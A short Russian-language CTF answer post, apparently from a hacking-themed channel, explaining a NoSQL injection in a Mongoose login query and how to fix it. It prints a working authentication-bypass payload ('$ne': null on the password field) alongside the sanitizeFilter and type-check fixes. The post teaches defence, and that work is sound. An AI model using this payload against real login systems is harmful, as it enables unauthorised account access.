Ответ: 👾 NoSQL Injection
❗️ Уязвимость:
User.findOne({ username, password });
Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).
❗️ Эксплойт:
{
"username": "admin",
"password": { "$ne": null }
}
❗️ Запрос превращается в:
{ username: "admin", password: { $ne: null } }
Пароль admin ≠ null → документ найден → FLAG получен.
🛡️ Как фиксить:
Коротко и по делу:
mongoose.set('sanitizeFilter', true);
или проверять типы:
if (typeof password !== 'string') return 400;
🐸 Библиотека хакера
#ctf_challenge